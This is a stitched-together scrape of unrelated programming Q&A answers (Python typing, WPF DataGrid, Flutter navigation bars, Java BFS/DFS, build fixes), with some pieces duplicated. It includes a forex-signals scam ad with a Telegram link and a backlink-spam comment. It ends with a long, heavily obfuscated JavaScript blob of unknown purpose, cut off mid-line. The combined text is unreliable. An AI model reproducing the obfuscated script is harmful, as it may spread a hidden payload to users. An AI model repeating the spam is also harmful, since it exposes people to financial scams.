With @dROOOze's suggestion, I rewrote the code like this
from typing import TypedDict, Unpack, Required, NotRequired
class WidgetArgs(TypedDict):
width:int|None
height:int|None
minWidth:int|None
minHeight:int|None
maxWidth:int|None
maxHeight:int|None
stretchFactor:int
align:str|None
color:str|None
bgColor:str|None
border:str|None
fontSize:int|None
fontWeight:str|None
fontFamily:str|None
padding:str|None
hExpanding:bool
vExpanding:bool
name:str|None
styleSheet:str
def popStyleArgs(kwargs:dict):
retDict = {}
for name in WidgetArgs.__required_keys__:
val = kwargs.pop(name,None)
if val:
retDict[name] = val
return retDict
class Label(QLabel):
def __init__(self, *args,
labelImg:str|None=None,
**kwargs: Unpack[WidgetArgs]):
styleArgs = popStyleArgs(kwargs)
super().__init__(*args, **kwargs)
ss(self, **styleArgs)
if labelImg is not None:
self.setPixmap(QtGui.QPixmap(labelImg))
class Button(QPushButton):
def __init__(self, *args,
onClick:Callable|None=None,
**kwargs: Unpack[WidgetArgs]):
styleArgs = popStyleArgs(kwargs)
super().__init__(*args, **kwargs)
ss(self, **styleArgs)
self.clicked.connect(onClick)
It works well.
And in VSCode, I could get auto-complete suggestion like this, which is great.
When mouse hovers on the type, it will show definition like this, it's ok.
In Pycharm, even better, when hovering, it will show the referenced unpack types, like this
The only pitty is, I have to copy the document str of args to every widget's initial functions. The document still could not be shared. Any suggestions?
In summary, OrderDescending was introduced to provide a more straightforward and readable way to sort collections in descending order when no key selector is needed. It simplifies the code and aligns with the common use case of sorting elements directly, enhancing both the developer experience and code clarity.
-đFOREX SIGNALSđ
-đ90/95% SUCCESS RATEđ
Rules of account management services Minimum 500$ to 100k$ Profit share 50/50 Daily account 50% growing đ For payment method available wallet skrill netler btc https://t.me/+4cSGvMBVCFRiNzZk
add a frame width fix this error:
example:
.frame(width: 360)
Take a look at the Financial Options Calculator https://github.com/AnthonyBradford/optionmatrix
I found this to be almost as fast as using query and you don't need to create a string.
df[df.apply(lambda r : all(r[t]==m for t,m in your_dict.items()), axis=1)]
I had the same issue. It turned on the Firefox has two settings files: prefs.js and user.js. At the start it copies everything from user.js into prefs.js. So set marionette port in both files manually and it'll work.
thanks
0
Not sure if you have the same problem, but I solved it for Python 3.12 editing the python312._pth file.
You can try edit python311._pth file and add this line: Lib\site-packages, so the final content is:
python311.zip Lib\site-packages .
#import site Share Edit Follow
{ "timestamp": "2025-02-22T05:37:29.897+00:00", "status": 500, "error": "Internal Server Error", "path": "/students" }
As mentioned by the accepted answer, App Script functions don't produce any logs when they're evaluated as formulas. You can run the function from the App Script console, but that doesn't work if the problem is based on how it's being used in the sheet. In my case, I didn't realize that even one-column ranges are provided as 2D arrays.
Paying it forward -- the solution I found to test this was throwing Exceptions and treating them like console.log()s:
Your exception message will get printed into the tooltip, which lets you get some info out of the failed execution. You essentially get one log per run. It accepts pretty long failure messages, too, so you could try to do something clever with adding more log messages during the execution until you get to your problem area.
Wish there was a better answer, but this helped me figure out my problem!
// Your macro correctly defines register1 as a pointer to a volatile 64-bit memory-mapped register at address 0x02004000
Although using the âusingâ directive doesnât have any performance implications. It simply brings all the names from some namespace into the global namespace for your convenience at compile time itself. So there is no impact on run time of a program. But the primary concerns with âusingâ directive are related to code readability, maintainability and possible name collisions. And also 'using namespace std;' or explicitly 'using std::' depends on your convenience and situation also. Like if in a coding exam or an interview you know that name collision will not be there and you need speed, you can go ahead and use the âusingâ directive. But in a big or legacy application âusingâ directive definitely can cause issue. Iâve seen so many conflict issues being caused with our own code or third party library. So you only need to decide.
Figured it out... the issue was in my main.css, where #app needed to be given a width: 100vw;
use autoincrement start 1 increment 2
then you can insert row specifying even id like 2
I have the same issue when I run 'app' after adding some new dependencies. I solved my issue by checking and removing the duplicates dependencies in build.gradle(:app), invalidate caches File->Invalidate Chaces, and update dependencies variable.
Update dependencies variable on Android Studio:
I hope it works for you guys as well.
I recommend looking into Python with Pandas, they will give you all the flexibility you need plus they are very easy to learn. You will most likely have to reach out to them regardless. If you are good with excel, you will find pandas to be like a missing superpower.
Otherwise if you rather not deal with code or are in a rush, have a look at other pre-built solutions besides Talend ETL. My go to is https://skyvia.com , super easy to get started and automate your workflow. I think they offer a free trial. There are many others that I have not tested but either way you should be able to get the results you need.
Below link work well for me thank you https://github.com/material-components/material-components-android/issues/911#issuecomment-2003834024
Is this the same problem?ďźDisable the row selection on right click in wpf datagrid if row is already selected
<DataGrid x:Name="MyDataGrid"
PreviewMouseRightButtonDown="DataGrid_PreviewMouseRightButtonDown"
SelectionChanged="MyDataGrid_SelectionChanged"
SelectionMode="Extended"
SelectionUnit="FullRow">
<DataGrid.Resources>
<!-- Focus: Modify CellStyle, not RowStyle. -->
<Style TargetType="DataGridCell">
<Style.Triggers>
<!-- Normal highlighting when left-click selected -->
<Trigger Property="IsSelected" Value="True">
<Setter Property="Background" Value="{DynamicResource YourBrush}" />
<Setter Property="BorderBrush" Value="{x:Null}" />
<Setter Property="BorderThickness" Value="1" />
<Setter Property="Foreground" Value="{DynamicResource YourBrush}" />
</Trigger>
<!-- Transparent background when right-clicking to avoid highlighting -->
<Trigger Property="IsSelected" Value="True">
<Setter Property="Background" Value="Transparent" />
<Setter Property="BorderThickness" Value="0" />
</Trigger>
</Style.Triggers>
</Style>
</DataGrid.Resources>
<DataGrid.ContextMenu>
<ContextMenu>
<MenuItem Header="Your Header" Click="MenuItem_Click"/>
</ContextMenu>
</DataGrid.ContextMenu>
</DataGrid>
private object? _previouslySelectedItem;
private bool _isRightClick = false;
private void DataGrid_PreviewMouseRightButtonDown(object sender, MouseButtonEventArgs e)
{
if (e.OriginalSource is DependencyObject dep)
{
var cell = FindVisualParent<DataGridCell>(dep);
if (cell != null)
{
_isRightClick = true;
_previouslySelectedItem = MyDataGrid.SelectedItem;
// Probably not.:
// Keyboard.ClearFocus();
}
}
}
private void MyDataGrid_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (_isRightClick)
{
MyDataGrid.SelectedItem = _previouslySelectedItem;
_isRightClick = false;
}
}
private static T? FindVisualParent<T>(DependencyObject child) where T : DependencyObject
{
while (child != null)
{
if (child is T parent)
return parent;
child = VisualTreeHelper.GetParent(child);
}
return null;
}
I have renamed the project references still it was giving error
After some R & D: I unloaded the projects and removed the associated class-library. Then, I readded the projects along with their references. This resolved the issue.
Is this the same problem?ďźWPF DataGrid : Avoid Cell selection on RightClick
<DataGrid x:Name="MyDataGrid"
PreviewMouseRightButtonDown="DataGrid_PreviewMouseRightButtonDown"
SelectionChanged="MyDataGrid_SelectionChanged"
SelectionMode="Extended"
SelectionUnit="FullRow">
<DataGrid.Resources>
<!-- Focus: Modify CellStyle, not RowStyle. -->
<Style TargetType="DataGridCell">
<Style.Triggers>
<!-- Normal highlighting when left-click selected -->
<Trigger Property="IsSelected" Value="True">
<Setter Property="Background" Value="{DynamicResource YourBrush}" />
<Setter Property="BorderBrush" Value="{x:Null}" />
<Setter Property="BorderThickness" Value="1" />
<Setter Property="Foreground" Value="{DynamicResource YourBrush}" />
</Trigger>
<!-- Transparent background when right-clicking to avoid highlighting -->
<Trigger Property="IsSelected" Value="True">
<Setter Property="Background" Value="Transparent" />
<Setter Property="BorderThickness" Value="0" />
</Trigger>
</Style.Triggers>
</Style>
</DataGrid.Resources>
<DataGrid.ContextMenu>
<ContextMenu>
<MenuItem Header="Your Header" Click="MenuItem_Click"/>
</ContextMenu>
</DataGrid.ContextMenu>
</DataGrid>
private object? _previouslySelectedItem;
private bool _isRightClick = false;
private void DataGrid_PreviewMouseRightButtonDown(object sender, MouseButtonEventArgs e)
{
if (e.OriginalSource is DependencyObject dep)
{
var cell = FindVisualParent<DataGridCell>(dep);
if (cell != null)
{
_isRightClick = true;
_previouslySelectedItem = MyDataGrid.SelectedItem;
// Probably not.:
// Keyboard.ClearFocus();
}
}
}
private void MyDataGrid_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
if (_isRightClick)
{
MyDataGrid.SelectedItem = _previouslySelectedItem;
_isRightClick = false;
}
}
private static T? FindVisualParent<T>(DependencyObject child) where T : DependencyObject
{
while (child != null)
{
if (child is T parent)
return parent;
child = VisualTreeHelper.GetParent(child);
}
return null;
}
use relative path to files (as opposed to absolute path)
import os
os.path.relpath(fp)
I think, if your data preview is stuck showing old data even after a refresh, try flipping the Data Flow Debug switch off and onâitâs like giving the system a quick wake-up call to grab the latest stuff. Double-check your source settings too, like the file path or query, to make sure theyâre pointing to the right, up-to-date info. You can also tweak the Debug Settingsâbump up the row limit or turn off samplingâso it pulls a fresh batch instead of leaning on some dusty cache. If thatâs still not cutting it, just close and reopen the data flow editor to wipe the slate clean. Now, about those CI/CD deployment headaches where sink columns go missing or data flows flop for no clear reason: after deploying, peek at the sink mappings in production to ensure nothing got accidentally dropped, and fix them if needed. Dig into the JSON files between your dev and prod setupsâmaybe in the ARM templates or Gitâto spot any sneaky differences messing things up. When a data flow fails, check the Monitoring logs for clues (trust me, theyâre gold for figuring out whatâs broken). And if copying things to a new pipeline magically works, it might be worth recreating those tricky data flows in dev, testing them like crazy, and redeploying to dodge whatever gremlinâs hiding in the original. Hope this smooths things out for you!
Try deleting android folder to remove outdated configurations or incorrect settings then run
flutter create .
this will create new android folder with default settings based on your installed Flutter version. Then try running project
flutter run
You can delete file log and mdf in folder data SQL and restore again.
This took me way longer than I should have found.
You NEED to set transform-origin: 0 0; on the container element for the map.
EVEN if you don't have a transform value set, for SOME reason, setting this explicitly fixed the problem
Stay golden pony boy
I updated tsconfig.json file with this to fix this issue.
{
"compilerOptions": {...
"target": "ESNext",
"module": "ESNext",
"moduleResolution": "Bundler",
}
}
I changed Rendering Engine on SR6 in Global option. It's work on Chrome 132, MacOS
In my case, i will create a class C like this:
import { IntersectionType } from '@nestjs/swagger';
class C extends IntersectionType(A,B) {
...
}
You can create class C like this:
import { IntersectionType } from '@nestjs/swagger';
class C extends IntersectionType(A,B) {
...
}
Artikel ini sangat informatif! Saya setuju bahwa backlink berkualitas lebih penting daripada kuantitas. Saya juga pernah mencoba membangun backlink melalui komentar yang relevan di blog dengan niche yang sama, dan hasilnya cukup efektif. Apakah Anda punya rekomendasi tambahan untuk mendapatkan backlink berkualitas? Saya saat ini sedang mengembangkan situs untung99.io dan mencari strategi terbaik untuk meningkatkan visibilitasnya. Terima kasih atas insight-nya
"AndroidManifest.xml could not be found" this error occur because Android Studio or Gradle cannot locate the Android-specific files. And if you have downloaded a resource you can consider deleting android folder to avoid gradle verison compatibilities issues and run flutter create then flutter run
fwiw, this also affects the MudAutocomplete when hosted in a popover (not just MudPopover).
unfortunately, it would be a significant rework to get rid of popover in my project ;(
Okay, right after posting my question, I answered it with one more google search. I guess I had to use the right question....lol. So, I am using the INDEX/COUNT function for the first part of my formula like so.
=INDEX(B3:B14,COUNT(B3:B14))-B2
@Keet Sugathadasa's answer is what helped me too!
The error output for me pointed to my root directory (3 folders up in the ../../../ hierarchy). So I removed the package.json that was there and the "warning" was resolved.
´warning ../../../package.json: No license field´
This also resolved another error. Previously, in another project, I ignored this warning, and then I had a bigger problem, Typescript was not compiling the code to JavaScript, probably because it was reading the wrong package.json file.
When I removed this "warning" the project worked.
regardless of being the root user there, have you tried sudo mkdir -p /RandomDirectory?
try running flutter doctor --verbose to see java version and find it compatible gradle version at https://docs.gradle.org/current/userguide/compatibility.html#java
then navigate at project ../android/gradle/gradle/wrapper/graddle-wrapper.properties and change the gradle version to compatible
Working solution from the GitHub:
After some further testing, it appears to only happen when running NextJS in dev mode (with or without turbopack) If I build the site and run it it appears to work as intended. So annoying during development, but at least the actual build works correctly.
if you use pgadmin in DOCKER, you need specify ip inside the docker lan. you can just write :port(default 5432)
you can use https://virtuoso.dev, it has many virtualization features, including lists.
If the pipeline is completely internal, I don't see much of a need to use table name environment variables for security reasons, notwithstanding any other reason to use such techniques. Information Security Stack Exchange has a related thread with a good answer about external usage.
Heard back from Apple, apparently this is a bug. I submitted a report.
How to Study Graph Data Structures and BFS & DFS? Studying graph data structures and traversal algorithms like BFS (Breadth-First Search) and DFS (Depth-First Search) requires a structured approach. Hereâs a step-by-step guide:
Understand the Basics of Graphs Learn about graph representations: Adjacency Matrix (O(V²) space complexity, where V is the number of vertices) Adjacency List (O(V + E) space complexity, where E is the number of edges) Types of graphs: Directed, Undirected, Weighted, Unweighted, Cyclic, Acyclic
Learn BFS (Breadth-First Search) BFS explores nodes level by level (like ripples in water). Uses a queue (FIFO) to process nodes. Good for finding shortest paths in an unweighted graph. Example applications: Finding the shortest path in a maze. Social network friend suggestions. Web crawling.
BFS implementation in java:
import java.util.*;
public class BFSExample {
public static void bfs(Map<Character, List<Character>> graph, char start) {
Set<Character> visited = new HashSet<>();
Queue<Character> queue = new LinkedList<>();
queue.add(start);
while (!queue.isEmpty()) {
char node = queue.poll();
if (!visited.contains(node)) {
System.out.print(node + " ");
visited.add(node);
queue.addAll(graph.getOrDefault(node, new ArrayList<>()));
}
}
}
public static void main(String[] args) {
// Example Graph (Adjacency List)
Map<Character, List<Character>> graph = new HashMap<>();
graph.put('A', Arrays.asList('B', 'C'));
graph.put('B', Arrays.asList('A', 'D', 'E'));
graph.put('C', Arrays.asList('A', 'F', 'G'));
graph.put('D', Arrays.asList('B'));
graph.put('E', Arrays.asList('B'));
graph.put('F', Arrays.asList('C'));
graph.put('G', Arrays.asList('C'));
bfs(graph, 'A'); // Output: A B C D E F G
}
}
Learn DFS (Depth-First Search) DFS explores as deep as possible before backtracking. Uses stack (either explicitly or through recursion). Useful for cycle detection, topological sorting, and connected components.
DFS implementation in java import java.util.*;
public class DFSExample {
public static void dfs(Map<Character, List<Character>> graph, char node, Set<Character> visited) {
if (!visited.contains(node)) {
System.out.print(node + " ");
visited.add(node);
for (char neighbor : graph.getOrDefault(node, new ArrayList<>())) {
dfs(graph, neighbor, visited);
}
}
}
public static void main(String[] args) {
// Example Graph (Adjacency List)
Map<Character, List<Character>> graph = new HashMap<>();
graph.put('A', Arrays.asList('B', 'C'));
graph.put('B', Arrays.asList('A', 'D', 'E'));
graph.put('C', Arrays.asList('A', 'F', 'G'));
graph.put('D', Arrays.asList('B'));
graph.put('E', Arrays.asList('B'));
graph.put('F', Arrays.asList('C'));
graph.put('G', Arrays.asList('C'));
// Call DFS
Set<Character> visited = new HashSet<>();
dfs(graph, 'A', visited); // Output: A B D E C F G (One possible order)
}
}
Solve Problems on Graphs Beginner: Find connected components in an undirected graph. Check if a path exists between two nodes. Intermediate: Detect a cycle in a directed graph (DFS with recursion stack). Find the shortest path in an unweighted graph (BFS). Advanced: Dijkstraâs Algorithm (for weighted graphs). Topological Sorting (for Directed Acyclic Graphs).
Practice on Coding Platforms LeetCode: Graph Problems HackerRank: Graph Theory Challenges GeeksforGeeks: Graph Practice
Based on your question, hereâs what I understand:
ButtomNavigationBarpages List of this BottomNavigationBarWidget using a component (lets say Button in the HomeScreen)BottomNavigationBar to remain visible on this new widget (DetailsScreen).HomeScreen, CartScreen, ProfileScreen) from this widget.=>This is a demo video for the provided solution : CustomNavigationBar_Flutter
If this is correct, Iâll provide this solution. Please Let me know if I misunderstood!
The solution Iâm providing is not ideal but works for your use case. If you meant something else, please let me know!
Step 1: Define a Model for Each Screen
class MyScreensModel {
final String? title;
final Widget targetWidget;
final IconData icon;
const MyScreensModel({
required this.icon,
required this.targetWidget,
this.title,
});
}
You can define the properties you want in this Model (It is up to you)
Step 2: Build the Pages Screens
define the screens you want to display. Lets say:
it is a HomeScreen(), CartScreen(), ProfileScreen() and DetailsScreen() do not worry about ChangeNotifierProvider
const TextStyle style = TextStyle(
fontSize: 20,
fontWeight: FontWeight.bold,
);
class CartScreen extends StatelessWidget {
const CartScreen({super.key});
@override
Widget build(BuildContext context) {
return const Text(
"Cart Screen Content",
style: style,
);
}
}
class HomeScreen extends StatelessWidget {
const HomeScreen({super.key});
@override
Widget build(BuildContext context) {
return const Text(
"Home Screen Content",
style: style,
);
}
}
class ProfileScreen extends StatelessWidget {
const ProfileScreen({super.key});
@override
Widget build(BuildContext context) {
return const Text(
"Profile Screen Content",
style: style,
);
}
}
class DetailsScreen extends StatelessWidget {
const DetailsScreen({super.key});
@override
Widget build(BuildContext context) {
return ChangeNotifierProvider(
create: (context) => CurrentScreenProvider(),
child: const Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.center,
children: <Widget>[
FlutterLogo(
size: 200,
),
Text(
"Details Screen Content",
style: style,
),
],
),
);
}
}
Step 3: Store Screens in a List
Then Store it in List<MyScreensModel> and add the data you want
List<MyScreensModel> navigationScreens = const <MyScreensModel>[
MyScreensModel(
icon: Icons.home,
targetWidget: HomeScreen(),
title: "Home",
),
MyScreensModel(
icon: Icons.shopping_bag,
targetWidget: CartScreen(),
title: "Cart",
),
MyScreensModel(
icon: Icons.person,
targetWidget: ProfileScreen(),
title: "Profile",
),
MyScreensModel(
icon: Icons.info,
targetWidget: DetailsScreen(),
),
];
Step 4: Use Provider for StateManagement
In this step we will need a very powerful package for managing this CustomNavigationBar provider
we will create a Provider to trigger the index of current screen and change this value when the user tap the Item
class CurrentScreenProvider with ChangeNotifier {
int _currentScreen = 0;
int get currentScreen => _currentScreen;
// To control the BottomNavigationBar Items
void selectScreen({
required int newScreen,
}) {
_currentScreen = newScreen;
notifyListeners();
}
// To control the DetailsScreen
void get selectDetialsScreen {
_currentScreen = 3;
notifyListeners();
}
bool get isDetails => currentScreen == 3;
}
the bool isDetails for check if we in the DetailsScreen() or not
Step 5: Create the Custom Bottom Navigation Bar
After that we will create our CustomBottomNavigationBar() Widget
class CustomNavBar extends StatelessWidget {
const CustomNavBar({
super.key,
});
@override
Widget build(BuildContext context) {
return Consumer<CurrentScreenProvider>(
builder: (context, screen, _) {
return Container(
height: MediaQuery.sizeOf(context).height * .09,
decoration: const BoxDecoration(
borderRadius: BorderRadius.vertical(
top: Radius.circular(15),
),
color: Color(0xFFECFFE6),
),
child: Row(
mainAxisAlignment: MainAxisAlignment.spaceAround,
children: List.generate(
navigationScreens.length - 1,
(int index) {
return CustomNavbarItemWidget(
isSelected: index == screen.currentScreen,
targetScreen: navigationScreens[index],
onNavTap: () {
// Tapping on the Item will update the value of the currentScreen
screen.selectScreen(newScreen: index);
},
);
},
),
),
);
},
);
}
}
As you can see we will create a BottomNavigationBar as Row inside a Container you can consider the decoration of the Container as navbr decoration
Step 6: Create the Bottom Navigation Bar Item
class CustomNavbarItemWidget extends StatelessWidget {
const CustomNavbarItemWidget({
super.key,
required this.isSelected,
required this.targetScreen,
required this.onNavTap,
});
final bool isSelected;
final MyScreensModel targetScreen;
final void Function() onNavTap;
@override
Widget build(BuildContext context) {
return Container(
width: MediaQuery.sizeOf(context).width * .16,
margin: const EdgeInsets.all(5.0),
decoration: BoxDecoration(
color: isSelected ? Color(0xFFC7FFD8) : null,
borderRadius: BorderRadius.circular(10),
),
child: Material(
color: Colors.transparent,
child: InkWell(
borderRadius: BorderRadius.circular(10),
onTap: onNavTap,
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
Icon(targetScreen.icon),
if (isSelected) ...{
Text(
targetScreen.title!,
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
}
],
),
),
),
);
}
}
As you can see you can control the decoration of the selected item using isSelected bool
And the next widget will be the mainScreen that has the pages Screen
I will consider that you will show the DetailsScreen() using the floatingActionButton
class MyScreen extends StatelessWidget {
const MyScreen({super.key});
Widget _targetWidget({
required BuildContext context,
}) {
final CurrentScreenProvider screen = Provider.of<CurrentScreenProvider>(
context,
listen: false,
);
int currentScreen = screen.currentScreen;
switch (currentScreen) {
case 0:
{
return const HomeScreen();
}
case 1:
{
return const CartScreen();
}
case 2:
{
return const ProfileScreen();
}
case 3:
{
return const DetailsScreen();
}
default:
{
return const HomeScreen();
}
}
}
@override
Widget build(BuildContext context) {
return ChangeNotifierProvider(
create: (context) {
return CurrentScreenProvider();
},
child: Consumer<CurrentScreenProvider>(
builder: (context, screen, _) {
return MaterialApp(
debugShowCheckedModeBanner: false,
home: Scaffold(
appBar: AppBar(
automaticallyImplyLeading: false,
centerTitle: true,
backgroundColor: screen.isDetails ? Colors.cyan : Colors.green,
title: Text(
screen.isDetails
? "DetailsScreen AppBar Title"
: "MainScreen AppBar Title",
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
),
body: Center(
child: _targetWidget(context: context),
),
bottomNavigationBar: const CustomNavBar(),
floatingActionButton: screen.isDetails
? null
: FloatingActionButton(
child: const Icon(Icons.info),
onPressed: () {
screen.selectDetialsScreen;
},
),
),
);
},
),
);
}
}
As you can see that the _targetWidget is show the content according to the currentScreen from the CurrentScreenProvider
Full Code :
class MyScreensModel {
final String? title;
final Widget targetWidget;
final IconData icon;
const MyScreensModel({
required this.icon,
required this.targetWidget,
this.title,
});
}
class CartScreen extends StatelessWidget {
const CartScreen({super.key});
@override
Widget build(BuildContext context) {
return const Text(
"Cart Screen Content",
style: style,
);
}
}
class HomeScreen extends StatelessWidget {
const HomeScreen({super.key});
@override
Widget build(BuildContext context) {
return const Text(
"Home Screen Content",
style: style,
);
}
}
class ProfileScreen extends StatelessWidget {
const ProfileScreen({super.key});
@override
Widget build(BuildContext context) {
return const Text(
"Profile Screen Content",
style: style,
);
}
}
class DetailsScreen extends StatelessWidget {
const DetailsScreen({super.key});
@override
Widget build(BuildContext context) {
return ChangeNotifierProvider(
create: (context) => CurrentScreenProvider(),
child: const Text(
"Details Screen Content",
style: style,
),
);
}
}
const TextStyle style = TextStyle(
fontSize: 20,
fontWeight: FontWeight.bold,
);
List<MyScreensModel> navigationScreens = const <MyScreensModel>[
MyScreensModel(
icon: Icons.home,
targetWidget: HomeScreen(),
title: "Home",
),
MyScreensModel(
icon: Icons.shopping_bag,
targetWidget: CartScreen(),
title: "Cart",
),
MyScreensModel(
icon: Icons.person,
targetWidget: ProfileScreen(),
title: "Profile",
),
MyScreensModel(
icon: Icons.info,
targetWidget: DetailsScreen(),
),
];
class CurrentScreenProvider with ChangeNotifier {
int _currentScreen = 0;
int get currentScreen => _currentScreen;
// To control the BottomNavigationBar Items
void selectScreen({
required int newScreen,
}) {
_currentScreen = newScreen;
notifyListeners();
}
// To control the DetailsScreen
void get selectDetialsScreen {
_currentScreen = 3;
notifyListeners();
}
bool get isDetails => currentScreen == 3;
}
class MyScreen extends StatelessWidget {
const MyScreen({super.key});
Widget _targetWidget({
required BuildContext context,
}) {
final CurrentScreenProvider screen = Provider.of<CurrentScreenProvider>(
context,
listen: false,
);
int currentScreen = screen.currentScreen;
switch (currentScreen) {
case 0:
{
return const HomeScreen();
}
case 1:
{
return const CartScreen();
}
case 2:
{
return const ProfileScreen();
}
case 3:
{
return const DetailsScreen();
}
default:
{
return const HomeScreen();
}
}
}
@override
Widget build(BuildContext context) {
return ChangeNotifierProvider(
create: (context) {
return CurrentScreenProvider();
},
child: Consumer<CurrentScreenProvider>(
builder: (context, screen, _) {
return MaterialApp(
debugShowCheckedModeBanner: false,
home: Scaffold(
appBar: AppBar(
automaticallyImplyLeading: false,
centerTitle: true,
backgroundColor: Colors.green,
title: const Text(
"Custom Navigation Bar",
style: TextStyle(
fontWeight: FontWeight.bold,
),
),
),
body: Center(
child: _targetWidget(context: context),
),
bottomNavigationBar: const CustomNavBar(),
floatingActionButton: screen.isDetails
? null
: FloatingActionButton(
child: const Icon(Icons.info),
onPressed: () {
screen.selectDetialsScreen;
},
),
),
);
},
),
);
}
}
class CustomNavBar extends StatelessWidget {
const CustomNavBar({
super.key,
});
@override
Widget build(BuildContext context) {
return Consumer<CurrentScreenProvider>(
builder: (context, screen, _) {
return Container(
height: MediaQuery.sizeOf(context).height * .09,
decoration: const BoxDecoration(
borderRadius: BorderRadius.vertical(
top: Radius.circular(15),
),
color: Color(0xFFECFFE6),
),
child: Row(
mainAxisAlignment: MainAxisAlignment.spaceAround,
children: List.generate(
navigationScreens.length - 1,
(int index) {
return CustomNavbarItemWidget(
isSelected: index == screen.currentScreen,
targetScreen: navigationScreens[index],
onNavTap: () {
// When the user tap on the Item it will update the value of the currentScreen
screen.selectScreen(newScreen: index);
},
);
},
),
),
);
},
);
}
}
class CustomNavbarItemWidget extends StatelessWidget {
const CustomNavbarItemWidget({
super.key,
required this.isSelected,
required this.targetScreen,
required this.onNavTap,
});
final bool isSelected;
final MyScreensModel targetScreen;
final void Function() onNavTap;
@override
Widget build(BuildContext context) {
return Container(
width: MediaQuery.sizeOf(context).width * .16,
margin: const EdgeInsets.all(5.0),
decoration: BoxDecoration(
color: isSelected ? Colors.cyan.withOpacity(0.2) : null,
borderRadius: BorderRadius.circular(10),
),
child: Material(
color: Colors.transparent,
child: InkWell(
borderRadius: BorderRadius.circular(10),
onTap: onNavTap,
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
Icon(targetScreen.icon),
if (isSelected) ...{
Text(
targetScreen.title!,
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
}
],
),
),
),
);
}
}
This problem occurs when we migrate Azure function from .NET6 to .NET8, route cause of this problem is in .NET8, support of using System.Text.Json has been removed and recommended way is to use using Newtonsoft.Json
Bug code - string json = JsonSerializer.Serialize(object);
New Code - string json = JsonConvert.SerializeObject<ModelType>(object);
#ernavjyot
The Encodian connectors can help. Possible options:
The issue has been solved after following the steps provided by Mr.Balusc.
@balusc. Thank you for the quick support.
An IP address resolves to one web server. That web server can host as many sites as it wants to using that single IP address.
I hit
400 Can't have direct dependency: hadolint-py@ git+https://github.com/AleksaC/hadolint-py.git ; extra ==
"precommit". See https://packaging.python.org/specifications/core-metadata for more information.
The server could not comply with the request since it is either malformed or otherwise incorrect.
when trying to move my requirements.in into the [project.optional-dependencies] section of pyproject.toml.
To resolve the issue, my first approach was to keep the git+https dependency in requirements.in, while moving everything else to pyproject.toml. A more elaborate fix I was able to develop was by the following to the [build-system] section of pyproject.toml:
build-backend = 'pypi_compatible_build'
backend-path = ['']
And adding this pypi_compatible_build.py file:
"""
Avoid git URLs breaking PyPI uploads.
Similar problem to:
https://stackoverflow.com/questions/54887301/how-can-i-use-git-repos-as-dependencies-for-my-pypi-package
"""
from io import StringIO
from typing import TextIO
import setuptools
from packaging.metadata import Metadata
from setuptools._core_metadata import _write_requirements # type: ignore[import-not-found]
from setuptools.build_meta import * # noqa: F403
def write_pypi_compatible_requirements(self: Metadata, final_file: TextIO) -> None:
"""Mark requirements with URLs as external."""
initial_file = StringIO()
_write_requirements(self, initial_file)
initial_file.seek(0)
for initial_line in initial_file:
final_line = initial_line
metadata = Metadata.from_email(initial_line, validate=False)
if metadata.requires_dist and metadata.requires_dist[0].url:
final_line = initial_line.replace('Requires-Dist:', 'Requires-External:')
final_file.write(final_line)
setuptools._core_metadata._write_requirements = write_pypi_compatible_requirements
References:
function var_1(){}var var_2=Object['\u0064\u0065\u0066\u0069\u006e\u0065\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079'],var_3,var_4,var_5,var_6,var_7,var_8,var_9,var_10,var_11,var_12,var_13,var_14,var_15,var_16,var_17,var_18,var_19,var_20,var_21,var_22,var_23,var_24,var_25,var_26,var_27,var_28,var_29;function var_30(var_1){return var_3[var_1>0x23c?var_1+0x33:var_1<0x23c?var_1+0x2c:var_1-0x5d]}var_3=var_116();function var_31(var_1,var_2){var_4(var_1,var_30(-0xb),{value:var_2,configurable:var_30(0xb8)});return var_1}var_1(var_4=Object.defineProperty,var_5=var_31(var_117((...var_2)=>{var var_4=var_117(var_2=>{return var_3[var_2>-0x44?var_2<-0x44?var_2-0x30:var_2+0x43:var_2-0x39]},0x1);var_1(var_2.length=var_30(-0xf),var_2[var_4(-0x11)]=var_2[var_4(-0x43)]);return var_2var_30(-0x2b)}),0x2)(var_113,var_115));var var_32=[],var_33=[var_114(var_30(-0x2c)),var_114(var_30(-0x2b)),var_114(0x2),var_114(var_30(-0x15)),'\x29\x5a\x6e\x7c\x4c\x34\x2f\x31',var_114(var_30(-0x12)),var_114(var_30(-0x16)),var_114(var_30(-0x3)),var_114(var_30(0x1)),var_114(var_30(0x42)),var_114(0x9),var_114(var_30(0x6f)),var_114(var_30(0x4e)),var_114(var_30(0x3)),var_114(var_30(0x1e)),var_114(0xe),var_114(0xf),var_114(var_30(-0x2a)),var_114(var_30(0x47)),var_114(var_30(0x2)),'\x28\x73\x42\x43\x6d\x5e\x7c',var_114(var_30(0xc0)),var_114(var_30(0x15)),var_114(var_30(0x16)),var_114(var_30(0x20)),var_114(var_30(0x44)),var_114(var_30(0x5f)),var_114(0x19),'\u0021\u0024\u0030\u0056\u004b\u0060\u007c',var_114(var_30(0x61)),var_114(var_30(0x39)),var_114(var_30(-0x10)),var_114(var_30(0x62)),var_114(0x1e),var_114(var_30(0x63)),var_114(var_30(0x17)),'\x2f\x6f\x67\x77\x7c\x21\x75\x32',var_114(var_30(0x64)),'\u004f\u006b\u004b\u0077\u007c\u0021\u0075\u0032',var_114(var_30(0x65)),var_114(var_30(0x14)),'\x34\x6f\x31\x45\x69\x62\x7c',var_114(var_30(0x5)),var_114(var_30(0x66)),var_114(var_30(0x4d)),var_114(var_30(0xcb)),var_114(0x28),var_114(var_30(0x49)),var_114(var_30(0x18)),var_114(var_30(0x57)),var_114(var_30(0xa)),var_114(var_30(0x58)),var_114(0x2e),var_114(0x2f),var_114(0x30),var_114(var_30(-0xd)),var_114(var_30(0xc)),var_114(var_30(0x3e)),var_114(var_30(0x69)),var_114(var_30(0x6a)),var_114(var_30(0x6b)),var_114(var_30(0x4a)),var_114(var_30(0x23)),var_114(var_30(0x6c)),var_114(0x3a),var_114(0x3b),var_114(var_30(0xd)),var_114(var_30(0x15f)),var_114(var_30(0xb6)),var_114(var_30(-0x1)),var_114(var_30(0x6e)),var_114(var_30(0x19)),var_114(var_30(0x